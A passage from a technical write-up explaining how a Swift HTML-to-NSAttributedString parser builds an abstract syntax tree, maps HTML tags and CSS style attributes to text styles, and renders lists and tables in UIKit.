TreeAKA AST, or Abstract Tree.After completing Tokenization & Normalization data preprocessing, the next step is to transform the result into an abstract syntax tree 🌲.As shown above.Converting it into an abstract syntax tree allows us to perform future operations and extensions more conveniently. For example, implementing the Selector feature or performing other transformations, such as HTML to Markdown. Additionally, if we want to add Markdown to NSAttributedString in the future, we only need to implement Markdown’s Tokenization & Normalization to achieve it.First, we define a Markup Protocol with Child & Parent properties to record information about leaves and branches:protocol Markup: AnyObject { var parentMarkup: Markup? { get set } var childMarkups: [Markup] { get set } func appendChild(markup: Markup) func prependChild(markup: Markup) func accept<V: MarkupVisitor>(_ visitor: V) -> V.Result}extension Markup { func appendChild(markup: Markup) { markup.parentMarkup = self childMarkups.append(markup) } func prependChild(markup: Markup) { markup.parentMarkup = self childMarkups.insert(markup, at: 0) }}In addition, we use the Visitor Pattern to define each style attribute as a Markup Element, and then obtain individual application results through different Visit strategies.protocol MarkupVisitor { associatedtype Result func visit(markup: Markup) -> Result func visit(_ markup: RootMarkup) -> Result func visit(_ markup: RawStringMarkup) -> Result func visit(_ markup: BoldMarkup) -> Result func visit(_ markup: LinkMarkup) -> Result //...}extension MarkupVisitor { func visit(markup: Markup) -> Result { return markup.accept(self) }}Basic Markup nodes:// Root nodefinal class RootMarkup: Markup { weak var parentMarkup: Markup? = nil var childMarkups: [Markup] = [] func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor { return visitor.visit(self) }}// Leaf nodefinal class RawStringMarkup: Markup { let attributedString: NSAttributedString init(attributedString: NSAttributedString) { self.attributedString = attributedString } weak var parentMarkup: Markup? = nil var childMarkups: [Markup] = [] func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor { return visitor.visit(self) }}Definition of Markup style nodes:// Branch nodes:// Link stylefinal class LinkMarkup: Markup { weak var parentMarkup: Markup? = nil var childMarkups: [Markup] = [] func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor { return visitor.visit(self) }}// Bold stylefinal class BoldMarkup: Markup { weak var parentMarkup: Markup? = nil var childMarkups: [Markup] = [] func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor { return visitor.visit(self) }} Corresponding to the Markup implementation in the original code.Before converting it into an abstract syntax tree, we still need…MarkupComponentSince our tree structure does not depend on any data structure (e.g., a node/LinkMarkup should have URL information to proceed with rendering). For this, we define another container to store tree nodes and related data information:protocol MarkupComponent { associatedtype T var markup: Markup { get } var value: T { get } init(markup: Markup, value: T)}extension Sequence where Iterator.Element: MarkupComponent { func value(markup: Markup) -> Element.T? { return self.first(where:{ $0.markup === markup })?.value as? Element.T }} Corresponding to the MarkupComponent implementation in the original code.Alternatively, Markup can be declared as Hashable, and we can directly use a Dictionary to store values [Markup: Any]. However, in this case, Markup cannot be used as a regular type and requires adding any Markup.HTMLTag & HTMLTagName & HTMLTagNameVisitorWe have also abstracted the HTML Tag Name part, allowing users to decide which tags need to be processed and facilitating future extensions. For example, the <strong> tag name can correspond to BoldMarkup.public protocol HTMLTagName { var string: String { get } func accept<V: HTMLTagNameVisitor>(_ visitor: V) -> V.Result}public struct A_HTMLTagName: HTMLTagName { public let string: String = WC3HTMLTagName.a.rawValue public init() { } public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor { return visitor.visit(self) }}public struct B_HTMLTagName: HTMLTagName { public let string: String = WC3HTMLTagName.b.rawValue public init() { } public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor { return visitor.visit(self) }} Corresponding to the HTMLTagNameVisitor implementation in the original code. Additionally, reference to the W3C wiki lists the HTML tag name enum: WC3HTMLTagName.swiftHTMLTag is simply a container object because we want to allow external specification of the style corresponding to HTML tags. So, we declare a container to put them together:struct HTMLTag { let tagName: HTMLTagName let customStyle: MarkupStyle? // We'll explain Render later. init(tagName: HTMLTagName, customStyle: MarkupStyle? = nil) { self.tagName = tagName self.customStyle = customStyle }} Corresponds to the implementation of HTMLTag in the source code.HTMLTagNameToHTMLMarkupVisitorstruct HTMLTagNameToMarkupVisitor: HTMLTagNameVisitor { typealias Result = Markup let attributes: [String: String]? func visit(_ tagName: A_HTMLTagName) -> Result { return LinkMarkup() } func visit(_ tagName: B_HTMLTagName) -> Result { return BoldMarkup() } //...} Corresponds to the implementation of HTMLTagNameToHTMLMarkupVisitor in the source code.Converting to Abstract Syntax Tree with HTML DataWe need to convert the normalized HTML data result into an abstract syntax tree. First, let’s declare a data structure, MarkupComponent, that can hold HTML data:struct HTMLElementMarkupComponent: MarkupComponent { struct HTMLElement { let tag: HTMLTag let tagAttributedString: NSAttributedString let attributes: [String: String]? } typealias T = HTMLElement let markup: Markup let value: HTMLElement init(markup: Markup, value: HTMLElement) { self.markup = markup self.value = value }}Converting to Markup Abstract Syntax Tree:var htmlElementComponents: [HTMLElementMarkupComponent] = []let rootMarkup = RootMarkup()var currentMarkup: Markup = rootMarkuplet htmlTags: [String: HTMLTag]init(htmlTags: [HTMLTag]) { self.htmlTags = Dictionary(uniqueKeysWithValues: htmlTags.map{ ($0.tagName.string, $0) })}// Start Tags Stack, ensuring correct popping of tags// Normalization has been done earlier, so it should not result in errors, just to be surevar stackExpectedStartItems: [HTMLParsedResult.StartItem] = []for thisItem in from { switch thisItem { case .start(let item): let visitor = HTMLTagNameToMarkupVisitor(attributes: item.attributes) let htmlTag = self.htmlTags[item.tagName] ?? HTMLTag(tagName: ExtendTagName(item.tagName)) // Using the Visitor to determine the corresponding Markup let markup = visitor.visit(tagName: htmlTag.tagName) // Adding oneself as a leaf node of the current branch // Becoming the current branch htmlElementComponents.append(.init(markup: markup, value: .init(tag: htmlTag, tagAttributedString: item.tagAttributedString, attributes: item.attributes))) currentMarkup.appendChild(markup: markup) currentMarkup = markup stackExpectedStartItems.append(item) case .selfClosing(let item): // Adding directly as a leaf node of the current branch let visitor = HTMLTagNameToMarkupVisitor(attributes: item.attributes) let htmlTag = self.htmlTags[item.tagName] ?? HTMLTag(tagName: ExtendTagName(item.tagName)) let markup = visitor.visit(tagName: htmlTag.tagName) htmlElementComponents.append(.init(markup: markup, value: .init(tag: htmlTag, tagAttributedString: item.tagAttributedString, attributes: item.attributes))) currentMarkup.appendChild(markup: markup) case .close(let item): if let lastTagName = stackExpectedStartItems.popLast()?.tagName, lastTagName == item.tagName { // When encountering a Close Tag, go back to the previous level currentMarkup = currentMarkup.parentMarkup ?? currentMarkup } case .rawString(let attributedString): // Adding directly as a leaf node of the current branch currentMarkup.appendChild(markup: RawStringMarkup(attributedString: attributedString)) }}// print(htmlElementComponents)// [(markup: LinkMarkup, (tag: a, attributes: [\"href\":\"zhgchg.li\"]...)]The operation result is shown in the above image. Corresponds to the implementation of HTMLParsedResultToHTMLElementWithRootMarkupProcessor.swift in the source code.At this point, we have actually completed the functionality of Selector 🎉public class HTMLSelector: CustomStringConvertible { let markup: Markup let components: [HTMLElementMarkupComponent] init(markup: Markup, components: [HTMLElementMarkupComponent]) { self.markup = markup self.components = components } public func filter(_ htmlTagName: String) -> [HTMLSelector] { let result = markup.childMarkups.filter({ components.value(markup: $0)?.tag.tagName.isEqualTo(htmlTagName) ?? false }) return result.map({ .init(markup: $0, components: components) }) } //...}We can filter leaf node objects layer by layer. Corresponds to the implementation of HTMLSelector in the source code.Parser — HTML to MarkupStyle (Abstract of NSAttributedString.Key)Next, we need to complete the process of converting HTML to MarkupStyle (NSAttributedString.Key).NSAttributedString sets the style of the text using NSAttributedString.Key Attributes. We have abstracted all the fields of NSAttributedString.Key to correspond to MarkupStyle, MarkupStyleColor, MarkupStyleFont, and MarkupStyleParagraphStyle.Purpose: Originally, the data structure of Attributes was [NSAttributedString.Key: Any?], which, if exposed directly, would be difficult to control the values the user brings in. If incorrect values are provided, it could lead to crashes, for example, .font: 123. Styles need to be inheritable, for example, <a><b>test</b></a>, where the style of the text “test” is inherited from the link’s bold formatting (bold+link). If we directly expose the Dictionary, it would be challenging to control inheritance rules effectively. Encapsulate objects belonging to iOS/macOS (UIKit/Appkit).MarkupStyle Structpublic struct MarkupStyle { public var font: MarkupStyleFont public var paragraphStyle: MarkupStyleParagraphStyle public var foregroundColor: MarkupStyleColor? = nil public var backgroundColor: MarkupStyleColor? = nil public var ligature: NSNumber? = nil public var kern: NSNumber? = nil public var tracking: NSNumber? = nil public var strikethroughStyle: NSUnderlineStyle? = nil public var underlineStyle: NSUnderlineStyle? = nil public var strokeColor: MarkupStyleColor? = nil public var strokeWidth: NSNumber? = nil public var shadow: NSShadow? = nil public var textEffect: String? = nil public var attachment: NSTextAttachment? = nil public var link: URL? = nil public var baselineOffset: NSNumber? = nil public var underlineColor: MarkupStyleColor? = nil public var strikethroughColor: MarkupStyleColor? = nil public var obliqueness: NSNumber? = nil public var expansion: NSNumber? = nil public var writingDirection: NSNumber? = nil public var verticalGlyphForm: NSNumber? = nil //... // Inherited from... // Default: When a field is nil, it is filled with data from the \"from\" MarkupStyle object. mutating func fillIfNil(from: MarkupStyle?) { guard let from = from else { return } var currentFont = self.font currentFont.fillIfNil(from: from.font) self.font = currentFont var currentParagraphStyle = self.paragraphStyle currentParagraphStyle.fillIfNil(from: from.paragraphStyle) self.paragraphStyle = currentParagraphStyle //... } // Convert MarkupStyle to NSAttributedString.Key: Any func render() -> [NSAttributedString.Key: Any] { var data: [NSAttributedString.Key: Any] = [:] if let font = font.getFont() { data[.font] = font } if let ligature = self.ligature { data[.ligature] = ligature } //... return data }}public struct MarkupStyleFont: MarkupStyleItem { public enum FontWeight { case style(FontWeightStyle) case rawValue(CGFloat) } public enum FontWeightStyle: String { case ultraLight, light, thin, regular, medium, semibold, bold, heavy, black // ... } public var size: CGFloat? public var weight: FontWeight? public var italic: Bool? //...}public struct MarkupStyleParagraphStyle: MarkupStyleItem { public var lineSpacing: CGFloat? = nil public var paragraphSpacing: CGFloat? = nil public var alignment: NSTextAlignment? = nil public var headIndent: CGFloat? = nil public var tailIndent: CGFloat? = nil public var firstLineHeadIndent: CGFloat? = nil public var minimumLineHeight: CGFloat? = nil public var maximumLineHeight: CGFloat? = nil public var lineBreakMode: NSLineBreakMode? = nil public var baseWritingDirection: NSWritingDirection? = nil public var lineHeightMultiple: CGFloat? = nil public var paragraphSpacingBefore: CGFloat? = nil public var hyphenationFactor: Float? = nil public var usesDefaultHyphenation: Bool? = nil public var tabStops: [NSTextTab]? = nil public var defaultTabInterval: CGFloat? = nil public var textLists: [NSTextList]? = nil public var allowsDefaultTighteningForTruncation: Bool? = nil public var lineBreakStrategy: NSParagraphStyle.LineBreakStrategy? = nil //...}public struct MarkupStyleColor { let red: Int let green: Int let blue: Int let alpha: CGFloat //...} This corresponds to the implementation of MarkupStyle in the source code. Additionally, we also referred to W3c wiki, where browser predefined color names are enumerated with their corresponding color text and color R, G, B values: MarkupStyleColorName.swift.HTMLTagStyleAttribute & HTMLTagStyleAttributeVisitorLet’s talk a bit about these two objects since HTML tags allow them to be combined with CSS style settings. To do this, we use the same abstraction as in HTMLTagName and apply it again to HTML Style Attributes.For instance, HTML might provide: <a style=”color:red;font-size:14px”>RedLink</a>, which means this link should be styled with red color and a font size of 14px.public protocol HTMLTagStyleAttribute { var styleName: String { get } func accept<V: HTMLTagStyleAttributeVisitor>(_ visitor: V) -> V.Result}public protocol HTMLTagStyleAttributeVisitor { associatedtype Result func visit(styleAttribute: HTMLTagStyleAttribute) -> Result func visit(_ styleAttribute: ColorHTMLTagStyleAttribute) -> Result func visit(_ styleAttribute: FontSizeHTMLTagStyleAttribute) -> Result //...}public extension HTMLTagStyleAttributeVisitor { func visit(styleAttribute: HTMLTagStyleAttribute) -> Result { return styleAttribute.accept(self) }} Corresponding implementation of HTMLTagStyleAttribute in the source code.HTMLTagStyleAttributeToMarkupStyleVisitorstruct HTMLTagStyleAttributeToMarkupStyleVisitor: HTMLTagStyleAttributeVisitor { typealias Result = MarkupStyle? let value: String func visit(_ styleAttribute: ColorHTMLTagStyleAttribute) -> Result { // Extract Color Hex or Mapping from HTML Pre-defined Color Name using regex, please refer to the source code. guard let color = MarkupStyleColor(string: value) else { return nil } return MarkupStyle(foregroundColor: color) } func visit(_ styleAttribute: FontSizeHTMLTagStyleAttribute) -> Result { // Extract 10px -> 10 using regex, please refer to the source code. guard let size = self.convert(fromPX: value) else { return nil } return MarkupStyle(font: MarkupStyleFont(size: CGFloat(size))) } // ...} Corresponding implementation of HTMLTagAttributeToMarkupStyleVisitor.swift in the source code.The value of init is set to the value of attribute, and it is converted to the corresponding MarkupStyle field based on the visit type.HTMLElementMarkupComponentMarkupStyleVisitorAfter introducing the MarkupStyle object, we need to convert the results from HTMLElementComponents of Normalization into MarkupStyle.// MarkupStyle policypublic enum MarkupStylePolicy { case respectMarkupStyleFromCode // Take the style from Code as the main one and use HTML Style Attribute to fill in the gaps case respectMarkupStyleFromHTMLStyleAttribute // Take the style from HTML Style Attribute as the main one and use Code to fill in the gaps}struct HTMLElementMarkupComponentMarkupStyleVisitor: MarkupVisitor { typealias Result = MarkupStyle? let policy: MarkupStylePolicy let components: [HTMLElementMarkupComponent] let styleAttributes: [HTMLTagStyleAttribute] func visit(_ markup: BoldMarkup) -> Result { // The `.bold` is just a default style defined in MarkupStyle. Please refer to the Source Code. return defaultVisit(components.value(markup: markup), defaultStyle: .bold) } func visit(_ markup: LinkMarkup) -> Result { // The `.link` is just a default style defined in MarkupStyle. Please refer to the Source Code. var markupStyle = defaultVisit(components.value(markup: markup), defaultStyle: .link) ?? .link // Get the corresponding HTMLElement for LinkMarkup from HTMLElementComponents // Find the href parameter in the attributes of HtmlElement (in the form of an HTML URL string) if let href = components.value(markup: markup)?.attributes?[\"href\"] as? String, let url = URL(string: href) { markupStyle.link = url } return markupStyle } // ...}extension HTMLElementMarkupComponentMarkupStyleVisitor { // Get the specified customized MarkupStyle from the HTMLTag container private func customStyle(_ htmlElement: HTMLElementMarkupComponent.HTMLElement?) -> MarkupStyle? { guard let customStyle = htmlElement?.tag.customStyle else { return nil } return customStyle } // Default action func defaultVisit(_ htmlElement: HTMLElementMarkupComponent.HTMLElement?, defaultStyle: MarkupStyle? = nil) -> Result { var markupStyle: MarkupStyle? = customStyle(htmlElement) ?? defaultStyle // Get the LinkMarkup corresponding to HtmlElementComponents // Check if the HtmlElement has the `Style` Attribute guard let styleString = htmlElement?.attributes?[\"style\"], styleAttributes.count > 0 else { // If not, return the markupStyle as is return markupStyle } // If there are Style Attributes // Split the Style Value string into an array // e.g. font-size:14px;color:red -> [\"font-size\":\"14px\",\"color\":\"red\"] let styles = styleString.split(separator: \";\").filter { $0.trimmingCharacters(in: .whitespacesAndNewlines) != \"\" }.map { $0.split(separator: \":\") } for style in styles { guard style.count == 2 else { continue } // e.g font-szie let key = style[0].trimmingCharacters(in: .whitespacesAndNewlines) // e.g. 14px let value = style[1].trimmingCharacters(in: .whitespacesAndNewlines) if let styleAttribute = styleAttributes.first(where: { $0.isEqualTo(styleName: key) }) { // Use the HTMLTagStyleAttributeToMarkupStyleVisitor from the previous context to convert to MarkupStyle let visitor = HTMLTagStyleAttributeToMarkupStyleVisitor(value: value) if var thisMarkupStyle = visitor.visit(styleAttribute: styleAttribute) { // When the Style Attribute has a converted value.. // Merge the previous MarkupStyle result with this one thisMarkupStyle.fillIfNil(from: markupStyle) markupStyle = thisMarkupStyle } } } // If there is a default Style if var defaultStyle = defaultStyle { switch policy { case .respectMarkupStyleFromHTMLStyleAttribute: // Take the Style Attribute MarkupStyle as the main one and then merge with the defaultStyle result markupStyle?.fillIfNil(from: defaultStyle) case .respectMarkupStyleFromCode: // Take the defaultStyle as the main one and then merge with the Style Attribute MarkupStyle result defaultStyle.fillIfNil(from: markupStyle) markupStyle = defaultStyle } } return markupStyle }}The implementation corresponds to the original code in HTMLTagAttributeToMarkupStyleVisitor.swift.We will define some default styles in MarkupStyle. In some cases, if certain Markup elements do not have the desired styles specified externally, they will use the default styles.There are two style inheritance strategies: respectMarkupStyleFromCode:The default styles take precedence; then, check the Style Attributes to see if any additional styles can be applied, but ignore them if they already have a value. respectMarkupStyleFromHTMLStyleAttribute:The Style Attributes take precedence; then, check the default styles to see if any additional styles can be applied, but ignore them if they already have a value.HTMLElementWithMarkupToMarkupStyleProcessorThis processor converts the normalization result into an AST & MarkupStyleComponent.Declare a new MarkupComponent to hold the corresponding MarkupStyle:struct MarkupStyleComponent: MarkupComponent { typealias T = MarkupStyle let markup: Markup let value: MarkupStyle init(markup: Markup, value: MarkupStyle) { self.markup = markup self.value = value }}Simple traversal of the Markup Tree & HTMLElementMarkupComponent structure:let styleAttributes: [HTMLTagStyleAttribute]let policy: MarkupStylePolicy func process(from: (Markup, [HTMLElementMarkupComponent])) -> [MarkupStyleComponent] { var components: [MarkupStyleComponent] = [] let visitor = HTMLElementMarkupComponentMarkupStyleVisitor(policy: policy, components: from.1, styleAttributes: styleAttributes) walk(markup: from.0, visitor: visitor, components: &components) return components} func walk(markup: Markup, visitor: HTMLElementMarkupComponentMarkupStyleVisitor, components: inout [MarkupStyleComponent]) { if let markupStyle = visitor.visit(markup: markup) { components.append(.init(markup: markup, value: markupStyle)) } for markup in markup.childMarkups { walk(markup: markup, visitor: visitor, components: &components) }}// print(components)// [(markup: LinkMarkup, MarkupStyle(link: https://zhgchg.li, color: .blue)]// [(markup: BoldMarkup, MarkupStyle(font: .init(weight: .bold))] Corresponding implementation in the source code can be found in HTMLElementWithMarkupToMarkupStyleProcessor.swift.Flow result as shown in the above imageRender — Convert To NSAttributedStringNow that we have the abstract HTML Tag tree structure and corresponding MarkupStyle, we can proceed with the final step of generating the NSAttributedString rendering result.MarkupNSAttributedStringVisitorThis is the implementation of the MarkupVisitor protocol to convert markup into NSAttributedString.struct MarkupNSAttributedStringVisitor: MarkupVisitor { typealias Result = NSAttributedString let components: [MarkupStyleComponent] // MarkupStyle for root/base, externally specified, for example, to set the overall font size. let rootStyle: MarkupStyle? func visit(_ markup: RootMarkup) -> Result { // Traverse to the RawString object. return collectAttributedString(markup) } func visit(_ markup: RawStringMarkup) -> Result { // Return the Raw String. // Collect all MarkupStyles in the chain. // Apply the Style to NSAttributedString. return applyMarkupStyle(markup.attributedString, with: collectMarkupStyle(markup)) } func visit(_ markup: BoldMarkup) -> Result { // Traverse to the RawString object. return collectAttributedString(markup) } func visit(_ markup: LinkMarkup) -> Result { // Traverse to the RawString object. return collectAttributedString(markup) } // ...}private extension MarkupNSAttributedStringVisitor { // Apply the Style to NSAttributedString. func applyMarkupStyle(_ attributedString: NSAttributedString, with markupStyle: MarkupStyle?) -> NSAttributedString { guard let markupStyle = markupStyle else { return attributedString } let mutableAttributedString = NSMutableAttributedString(attributedString: attributedString) mutableAttributedString.addAttributes(markupStyle.render(), range: NSMakeRange(0, mutableAttributedString.string.utf16.count)) return mutableAttributedString } func collectAttributedString(_ markup: Markup) -> NSMutableAttributedString { // Collect from downstream. // Root -> Bold -> String(\"Bold\") // \\ // > String(\"Test\") // Result: Bold Test // Traverse down the tree to find raw strings, recursively visit and combine them into the final NSAttributedString. return markup.childMarkups.compactMap({ visit(markup: $0) }).reduce(NSMutableAttributedString()) { partialResult, attributedString in partialResult.append(attributedString) return partialResult } } func collectMarkupStyle(_ markup: Markup) -> MarkupStyle? { // Collect from upstream. // String(\"Test\") -> Bold -> Italic -> Root // Result: style: Bold+Italic // Traverse up the tree to find parent tag's markup style. // Then inherit styles layer by layer. var currentMarkup: Markup? = markup.parentMarkup var currentStyle = components.value(markup: markup) while let thisMarkup = currentMarkup { guard let thisMarkupStyle = components.value(markup: thisMarkup) else { currentMarkup = thisMarkup.parentMarkup continue } if var thisCurrentStyle = currentStyle { thisCurrentStyle.fillIfNil(from: thisMarkupStyle) currentStyle = thisCurrentStyle } else { currentStyle = thisMarkupStyle } currentMarkup = thisMarkup.parentMarkup } if var currentStyle = currentStyle { currentStyle.fillIfNil(from: rootStyle) return currentStyle } else { return rootStyle } }} This corresponds to the MarkupNSAttributedStringVisitor.swift in the source code.The workflow and result are depicted in the above image.Finally, we arrive at the following:Link{ NSColor = \"Blue\"; NSFont = \"<UICTFont: 0x145d17600> font-family: \\\".SFUI-Regular\\\"; font-weight: normal; font-style: normal; font-size: 13.00pt\"; NSLink = \"https://zhgchg.li\";}nk{ NSColor = \"Blue\"; NSFont = \"<UICTFont: 0x145d18710> font-family: \\\".SFUI-Semibold\\\"; font-weight: bold; font-style: normal; font-size: 13.00pt\"; NSLink = \"https://zhgchg.li\";}Bold{ NSFont = \"<UICTFont: 0x145d18710> font-family: \\\".SFUI-Semibold\\\"; font-weight: bold; font-style: normal; font-size: 13.00pt\";} 🎉🎉🎉🎉 It’s done! 🎉🎉🎉🎉We have now completed the entire conversion process from HTML String to NSAttributedString.Stripper — Removing HTML TagsStripping HTML tags is relatively simple, requiring only the following code snippet:func attributedString(_ markup: Markup) -> NSAttributedString { if let rawStringMarkup = markup as? RawStringMarkup { return rawStringMarkup.attributedString } else { return markup.childMarkups.compactMap({ attributedString($0) }).reduce(NSMutableAttributedString()) { partialResult, attributedString in partialResult.append(attributedString) return partialResult } }}The corresponding implementation can be found in the MarkupStripperProcessor.swift file.It functions similarly to Render, but specifically returns the content when RawStringMarkup is encountered.Extend — Dynamic ExtensionTo extend coverage for all HTML Tags/Style Attributes, a dynamic extension approach was adopted, making it convenient to dynamically expand objects directly from the code:public struct ExtendTagName: HTMLTagName { public let string: String public init(_ w3cHTMLTagName: WC3HTMLTagName) { self.string = w3cHTMLTagName.rawValue } public init(_ string: String) { self.string = string.trimmingCharacters(in: .whitespacesAndNewlines).lowercased() } public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor { return visitor.visit(self) }}// tofinal class ExtendMarkup: Markup { weak var parentMarkup: Markup? = nil var childMarkups: [Markup] = [] func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor { return visitor.visit(self) }}//----public struct ExtendHTMLTagStyleAttribute: HTMLTagStyleAttribute { public let styleName: String public let render: ((String) -> (MarkupStyle?)) // Dynamic use of closure to change MarkupStyle public init(styleName: String, render: @escaping ((String) -> (MarkupStyle?))) { self.styleName = styleName self.render = render } public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagStyleAttributeVisitor { return visitor.visit(self) }}ZHTMLParserBuilderFinally, we employ the Builder Pattern to allow external modules to swiftly construct the necessary objects for ZMarkupParser and handle Access Level Control.public final class ZHTMLParserBuilder { private(set) var htmlTags: [HTMLTag] = [] private(set) var styleAttributes: [HTMLTagStyleAttribute] = [] private(set) var rootStyle: MarkupStyle? private(set) var policy: MarkupStylePolicy = .respectMarkupStyleFromCode public init() { } public static func initWithDefault() -> Self { var builder = Self.init() for htmlTagName in ZHTMLParserBuilder.htmlTagNames { builder = builder.add(htmlTagName) } for styleAttribute in ZHTMLParserBuilder.styleAttributes { builder = builder.add(styleAttribute) } return builder } public func set(_ htmlTagName: HTMLTagName, withCustomStyle markupStyle: MarkupStyle?) -> Self { return self.add(htmlTagName, withCustomStyle: markupStyle) } public func add(_ htmlTagName: HTMLTagName, withCustomStyle markupStyle: MarkupStyle? = nil) -> Self { // Only one instance of the same tagName can exist htmlTags.removeAll { htmlTag in return htmlTag.tagName.string == htmlTagName.string } htmlTags.append(HTMLTag(tagName: htmlTagName, customStyle: markupStyle)) return self } public func add(_ styleAttribute: HTMLTagStyleAttribute) -> Self { styleAttributes.removeAll { thisStyleAttribute in return thisStyleAttribute.styleName == styleAttribute.styleName } styleAttributes.append(styleAttribute) return self } public func set(rootStyle: MarkupStyle) -> Self { self.rootStyle = rootStyle return self } public func set(policy: MarkupStylePolicy) -> Self { self.policy = policy return self } public func build() -> ZHTMLParser { // ZHTMLParser init is only accessible internally, and external entities cannot initialize it directly. // It can only be initialized through ZHTMLParserBuilder init. return ZHTMLParser(htmlTags: htmlTags, styleAttributes: styleAttributes, policy: policy, rootStyle: rootStyle) }} Corresponding implementation for ZHTMLParserBuilder.swift in the source code.The ‘initWithDefault’ function is set to include all implemented HTML tag names and style attributes by default.public extension ZHTMLParserBuilder { static var htmlTagNames: [HTMLTagName] { return [ A_HTMLTagName(), B_HTMLTagName(), BR_HTMLTagName(), DIV_HTMLTagName(), HR_HTMLTagName(), I_HTMLTagName(), LI_HTMLTagName(), OL_HTMLTagName(), P_HTMLTagName(), SPAN_HTMLTagName(), STRONG_HTMLTagName(), U_HTMLTagName(), UL_HTMLTagName(), DEL_HTMLTagName(), TR_HTMLTagName(), TD_HTMLTagName(), TH_HTMLTagName(), TABLE_HTMLTagName(), IMG_HTMLTagName(handler: nil), // ... ] }}public extension ZHTMLParserBuilder { static var styleAttributes: [HTMLTagStyleAttribute] { return [ ColorHTMLTagStyleAttribute(), BackgroundColorHTMLTagStyleAttribute(), FontSizeHTMLTagStyleAttribute(), FontWeightHTMLTagStyleAttribute(), LineHeightHTMLTagStyleAttribute(), WordSpacingHTMLTagStyleAttribute(), // ... ] }}The initialization of ZHTMLParser restricts it to being internal, meaning it cannot be directly initialized from outside and can only be initialized through ZHTMLParserBuilder.ZHTMLParser encapsulates the operations for rendering, selecting, and stripping:public final class ZHTMLParser: ZMarkupParser { let htmlTags: [HTMLTag] let styleAttributes: [HTMLTagStyleAttribute] let rootStyle: MarkupStyle? internal init(...) { } // Retrieves link style attributes public var linkTextAttributes: [NSAttributedString.Key: Any] { // ... } public func selector(_ string: String) -> HTMLSelector { // ... } public func selector(_ attributedString: NSAttributedString) -> HTMLSelector { // ... } public func render(_ string: String) -> NSAttributedString { // ... } // Allows rendering NSAttributedString within a node using the HTMLSelector result public func render(_ selector: HTMLSelector) -> NSAttributedString { // ... } public func render(_ attributedString: NSAttributedString) -> NSAttributedString { // ... } public func stripper(_ string: String) -> String { // ... } public func stripper(_ attributedString: NSAttributedString) -> NSAttributedString { // ... } // ...} This corresponds to the implementation in the ZHTMLParser.swift source code.UIKit IssueWhen using NSAttributedString, the most common scenario is to display it in a UITextView. However, there are some considerations to be aware of: The link style inside a UITextView is uniformly determined by the linkTextAttributes property, and it won’t take into account the settings in NSAttributedString.Key. Moreover, individual link styles cannot be set separately. This is why we have the ZMarkupParser.linkTextAttributes available. As for UILabel, there is currently no direct way to change the link style. Also, since UILabel does not have TextStorage, if you want to include NSTextAttachment images, you will need to handle it differently.public extension UITextView { func setHtmlString(_ string: String, with parser: ZHTMLParser) { self.setHtmlString(NSAttributedString(string: string), with: parser) } func setHtmlString(_ string: NSAttributedString, with parser: ZHTMLParser) { self.attributedText = parser.render(string) self.linkTextAttributes = parser.linkTextAttributes }}public extension UILabel { func setHtmlString(_ string: String, with parser: ZHTMLParser) { self.setHtmlString(NSAttributedString(string: string), with: parser) } func setHtmlString(_ string: NSAttributedString, with parser: ZHTMLParser) { let attributedString = parser.render(string) attributedString.enumerateAttribute(NSAttributedString.Key.attachment, in: NSMakeRange(0, attributedString.string.utf16.count), options: []) { (value, effectiveRange, nil) in guard let attachment = value as? ZNSTextAttachment else { return } attachment.register(self) } self.attributedText = attributedString }}With these extensions added to UIKit, external users can simply use setHTMLString() without worries to accomplish the binding.Handling Complex Rendering - Item ListsHere, we document the implementation of item lists.Using <ol> / <ul> in HTML to represent item lists:<ul> <li>ItemA</li> <li>ItemB</li> <li>ItemC</li> //...</ul>Using the same parsing method mentioned earlier, we can obtain the other list items in visit(_ markup: ListItemMarkup) and know the current list index (thanks to the conversion to AST).func visit(_ markup: ListItemMarkup) -> Result { let siblingListItems = markup.parentMarkup?.childMarkups.filter({ $0 is ListItemMarkup }) ?? [] let position = (siblingListItems.firstIndex(where: { $0 === markup }) ?? 0)}NSParagraphStyle has an NSTextList object that can be used to display list items, but customization of the blank width is not possible (personally, I find the default blank width too large). If there is any space between the item symbol and the string, it may cause the line break to occur in an unexpected place, resulting in a strange display, as shown below:There is a possibility to achieve better results through setting headIndent, firstLineHeadIndent, and NSTextTab, but even with testing, it may not produce perfect results for longer strings with varying font sizes.For now, we have reached an acceptable result by manually composing the item list strings and inserting them before the content.We only utilize NSTextList.MarkerFormat to generate item list symbols, rather than directly using NSTextList.Supported list item symbols can be found here: MarkupStyleList.swiftThe final display result: ( <ol><li> )Handling Complex Rendering - TablesSimilar to item lists, but this time for tables.Using <table> in HTML to represent a table, <tr> for table rows, and <td>/<th> for table cells:<table> <tr> <th>Company</th> <th>Contact</th> <th>Country</th> </tr> <tr> <td>Alfreds Futterkiste</td> <td>Maria Anders</td> <td>Germany</td> </tr> <tr> <td>Centro comercial Moctezuma</td> <td>Francisco Chang</td> <td>Mexico</td> </tr></table>Testing with the native NSAttributedString.DocumentType.html has shown that it relies on Private macOS API NSTextBlock to achieve the rendering of HTML tables, enabling it to display the styles and contents accurately. However, relying on Private API is not recommended. We cannot use Private API 🥲func visit(_ markup: TableColumnMarkup) -> Result { let attributedString = collectAttributedString(markup) let siblingColumns = markup.parentMarkup?.childMarkups.filter({ $0 is TableColumnMarkup }) ?? [] let position = (siblingColumns.firstIndex(where: { $0 === markup }) ?? 0) // Check if a desired width is specified externally, if not, set .max to prevent string truncation var maxLength: Int? = markup.fixedMaxLength if maxLength == nil { // If not specified, find the length of the first line in the same column as the maximum length if let tableRowMarkup = markup.parentMarkup as? TableRowMarkup, let firstTableRow = tableRowMarkup.parentMarkup?.childMarkups.first(where: { $0 is TableRowMarkup }) as? TableRowMarkup { let firstTableRowColumns = firstTableRow.childMarkups.filter({ $0 is TableColumnMarkup }) if firstTableRowColumns.indices.contains(position) { let firstTableRowColumnAttributedString = collectAttributedString(firstTableRowColumns[position]) let length = firstTableRowColumnAttributedString.string.utf16.count maxLength = length } } } if let maxLength = maxLength { // Truncate the field if it exceeds maxLength if attributedString.string.utf16.count > maxLength { attributedString.mutableString.setString(String(attributedString.string.prefix(maxLength)) + \"...\") } else { attributedString.mutableString.setString(attributedString.string.padding(toLength: maxLength, 